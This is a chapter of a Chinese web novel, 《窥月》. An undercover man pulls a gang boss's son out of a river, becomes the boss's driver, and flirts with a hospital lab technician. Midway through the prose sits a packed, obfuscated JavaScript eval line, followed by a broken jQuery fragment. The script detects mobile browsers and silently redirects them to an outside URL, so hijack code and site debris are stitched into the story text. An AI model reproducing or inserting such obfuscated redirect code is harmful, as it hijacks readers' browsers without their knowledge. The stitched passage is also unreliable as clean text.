8.第 8 章

作品:《窥月

    方牧昭的确在水里游了一会,幸好,不是海水,只是翠田水库流出来的河水。


    懵佬失踪的电玩城在翠田河附近,方牧昭跟着几个小马仔苦寻无果,不得不借用他的“超能力”,让叶鸿哲从天眼找。


    天眼显示懵佬穿过绿化带下到河边绿道,绿道有护栏,隔一段距离挂了救生圈,竖着警示牌:水深危险,请勿翻越栏杆。


    警示牌对一般人不管用,对懵佬更不管用。


    懵佬曾经披着床单从二楼飞下来,幻想自己是一只大蝴蝶,最后压折了一颗石榴树,全身多处骨折。


    路灯朦胧,黑河如镜,这一段没有钓鱼佬,河面隐隐伏着一只大蝴蝶。


    “是他吗?”方牧昭问小马仔,上手搬救生圈,不是也不能见死不救。


    小马仔喊:“喂,懵佬!”


    方牧昭骂:“你也是懵佬,他在岸上都不会应你啊!”


    小马仔不会水,方牧昭脱了衣服只能自己下,带着救生圈游过去,费劲拉上岸才看清真的是懵佬。


    真的懵了,一动不动。


    方牧昭忙做心肺复苏,隔着脱下的衣服给他吹气,赶在120来之前救回一条命。


    货拉拉上备有换洗衣物,方牧昭推懵佬做完一系列检查,留小马仔看着,开钟点房冲凉,换掉一身臭烘烘的衣裤。


    天光大亮,方牧昭回到急诊科,懵佬还在昏睡,肺部感染需要继续留观。


    小马仔差方牧昭去打包早餐,抱臂叉腿坐床边,也险些昏睡。


    然后,被一巴掌呼醒了。


    小马仔以为方牧昭下的手,立刻开骂:“叼你个死泥猛!”


    绿色人字拖,肥厚香肠嘴,锃亮大光头,大胆坚的标志三件套逐步出现,小马仔霎时白脸。


    大胆坚:“你骂谁?”


    小马仔堆笑讨饶:“坚哥,我以为是其他人。”


    大胆坚倒是带来了其他人。


    一个法令纹很深,仿佛被苦大仇深的命运吸走脂肪,四十来岁依然身材精干。


    一个三十几岁,身材更为瘦削,发际线退化成M字,戴着一副圆框眼镜,人称瘦师爷。


    小马仔对着年长的男人,结结巴巴:“望、望叔。”


    李承望没听见似的,一直盯着床上的儿子,双唇紧抿,法令纹又深刻了几度。


    瘦师爷替老板开口质问:“小义哥怎么变成这样?”


    小马仔说:“小义哥想在河边散步,我就打了一个哈欠,他可能想进河里捞鱼,就跳下去了。我来不及拉住他,好彩河边有救生圈,我跳下去救上来了。”


    方牧昭拎着打包胶袋,杵在隔断帘旁,一字不漏听全了。


    瘦师爷:“你说小义哥是你救的?”


    小马仔:“对。”


    瘦师爷转到他身旁:“你是小义哥的救命恩人。”


    小马仔不好意思摸摸头,“救命恩人不敢当。”


    “早餐回来了。”方牧昭适时闯入,刹车,故作惊讶,低眉恭谦,“望叔……”


    李承望还是一块沉默的“望子石”。


    瘦师爷一看生面孔,转头继续教训小马仔:“你救人衣服怎么干的?”


    小马仔嗓音绷紧,鼻头冒汗:“我、脱了衣裤、才下水。”


    瘦师爷若有所思。


    大胆坚离床尾最近,问方牧昭:“你又是哪个叼毛?”


    “泥猛,”方牧昭抬了下手中胶袋,袋口隐隐飘出不属于病房的甜香,“帮打早饭回来。”


    瘦师爷问:“你看到谁救起小义哥?”


    小马仔频频跟方牧昭使眼色。


    方牧昭:“我没看到。”


    小马仔一口气暂时松下,只要方牧昭别再多话。


    瘦师爷:“昨晚你没在现场?”


    方牧昭:“在。”


    小马仔又悄悄蹙眉挤眼,让方牧昭闭嘴。


    大胆坚粗鲁插嘴,“他妈的在你还看不见,叼毛你眼盲啊!”


    一袭白大褂忽然杀进来,喊人:“6床的家属。”


    医生的目光自动锁定方牧昭,高个高鼻梁,昨晚一身湿,给人印象深刻。


    方牧昭立刻示意李承望,“这位才是家属。”


    李承望第一次开口:“我是6床的爸爸。”


    医生的文件夹和眼神一同示意方牧昭:“你们要感谢这位帅哥,要不是他会水会心肺复苏,6床情况可能……”


    医生无奈摇头,“家属要加强看护啊。”


    小马仔脑袋瞬间耷拉到胸口。


    大胆坚一把揪住他的后衣领。


    医生吓得出声干预:“有话好好说,不要打架。”


    李承望皮笑肉不笑,“医生,我侄儿做事有分寸,你跟我讲讲我儿子情况。”


    瘦师爷往病房门口摆头,示意方牧昭跟他出去。


    -


    任月回到检验科跟夜班同事做完交接班,摸到电脑忍不住在数据库里搜倪家劲。


    检索页面只返回一条数据,是上次她逼他自证没有传染病的血检报告。


    这个泥猛,是病号没做检查,还是来探病陪诊?


    急诊科送来一波标本,任月叉掉页面,开始干活。


    没一会接班同事做的尿淀粉酶报危急值,又是一个胰腺炎,看着都肚子疼。任月核对信息,给急诊科医生打电话,占线,只能亲自跑一趟。


    急诊科走廊,幼儿啼哭惊天动地,一对夫妻抱着头破血流的小孩,急匆匆赶进清创室。


    任月往边上让了一步,血腥的一幕闪过,另一幕令人更加脑门充血。


    方牧昭站在抢救室门口,跟一个瘦秃头的男人讲话。


    任月第一次看到方牧昭跟任开济以外的人在一起,潜意识觉得也是同类,不禁多看了一眼。


    方牧昭撞上她的目光,又像不认识她,跟在食堂门口的偶遇时一样。


    瘦师爷:“你刚才为什么不说救人的是你?”


    方牧昭:“我也没说谎。”


    瘦师爷冷笑:“你跟我玩文字游戏。”


    争执可信任度,似乎是这类人永恒的话题。


    任月路过,口罩挡住大部份表情,拐进了对面诊室。


    任月跟送检医生确认检查结果,走出诊室,方牧昭和瘦师爷没了踪影。


    方牧昭跟着瘦师爷回到病床旁,大胆坚一个人回来,刚做完“热身运动”,指关节发红,额角冒汗。


    李承望眼神点了方牧昭,“你叫泥猛。”


    方牧昭:“是,望叔。”


    李承望:“哪里学来的急救本事?”


    方牧昭:“以前在老家游泳馆干过一段时间救生员。”


    李承望:“驾龄几年?”


    方牧昭:“六年左右。”


    李承望:“不错,后生可畏,技多不压身。”


    方牧昭:“望叔过奖。”


    李承望:“明天开始你来给我开车。”


    大胆坚说:“叔,你不是有司机了吗?”


    李承望:“阿坚,我看他比较想当你的司机。”


    现在的司机跟大胆坚私交过多,留着是个隐患。李承望点到即止,大胆坚登时噤若寒蝉。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221430|165584||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    -


    白班过后又轮到要命的夜班,任月定了手机日程,差不多就跟科主任打招呼,国庆要请假回老家参加继兄婚礼。


    任月资历浅,职场讲人情世故,长假不一定能轮到她请假。


    窗口铃声尖叫。


    任月兜起手机,走去应铃。


    方牧昭坐椅子上,给窗口框出一张证件照似的。


    “晚上好。”嗓音似乎略沙哑。


    任月还是不冷不热,“又有什么指教?”


    “正经事。”方牧昭把一张淡黄色急诊单放上台面。


    任月接过看名字,是他的,倪家劲,要采末梢血查血常规。


    临床诊断:急性上呼吸道感染。


    任月开始常规流程:“叫什么名字?”


    方牧昭:“倪家劲。”


    扫码枪嘀了一声,打印机吐出一张小票。


    任月递给他,“半个小时后在机器上打印报告,手伸出来。”


    方牧昭伸出右手,朝上的腕骨处爬了一条青筋,鼓突又富有美感。手指匀称修长,尤其指甲盖大小合适,健康有泽,不会太小显得笨拙幼稚。


    就是麦色肌肤粗糙了点。


    任月扣住方牧昭中间三根手指,捏住无名指消毒指尖。


    方牧昭的拇指微扣,偶尔蹭到她的无名指。


    两个冤家像隔着手套第一次别扭地拉手。


    方牧昭扫了眼任月低垂而专注的眉眼,职业性给她多添了几分干练气质,叫人忍不住多看几眼。


    他冷不丁开口:“济公还给你寄东西吗?”


    任月:“你当他印钞机啊?”


    方牧昭:“不是也差不多。”


    任月不由压低声,“处理掉了么?”


    方牧昭:“还在等一个合适的时机。”


    话毕,任月扎了他一针,刺痛感瞬间超越她的冷言冷语。


    方牧昭眼皮跳了跳,明明白白捏了她一下。


    任月挤出血珠,一下一下喂进吸管,“有发热么?”


    方牧昭:“这是采血流程,还是关心?”


    任月:“随便问问。”


    方牧昭权当是后者,笑了下:“没有,可能呛了两口翠田河的脏水。”


    任月还以为他感染什么烈性传染病,蹙眉:“你跑翠田河游泳?”


    方牧昭:“捞人。”


    任月吸满吸管,看了他一眼,“前两天?”


    方牧昭:“嗯。”


    任月:“见义勇为啊。”


    方牧昭:“算是见‘义’勇为。”


    “挺厉害,家属应该给你登报表彰。”任月不是家属,没法激动肯定他,但打心底佩服这样的人,她难得冲他笑了下,口罩遮住口鼻,遮不住眼里的光。


    方牧昭好像给闪了一下,平日锐利的眉眼怔了怔。


    “我尽量10分钟给你出结果。”任月示意一下插了吸管的试管,转身走向仪器群深处。


    任月8分钟发掉了报告,走到窗口张望,想叫方牧昭去打印。


    人已经没影了。


    任月趁空冲了杯咖啡提神,在噪音里忙活一阵,窗口铃声再度响起。


    这一次,窗口外没人,标本架也没新标本。


    台面多了一只乌篷纸船,白色船体印着稀疏黑字,是用B5纸的检验报告单折的。


    船里躺着两枚白兰花,含苞待放,像两颗剥了皮的大白兔奶糖。


    要真是奶糖,任月可不敢吃。


    她托起“神秘患者”送来的乌篷船,闻了闻,冷香幽幽,沁人心神,她不禁又笑了下。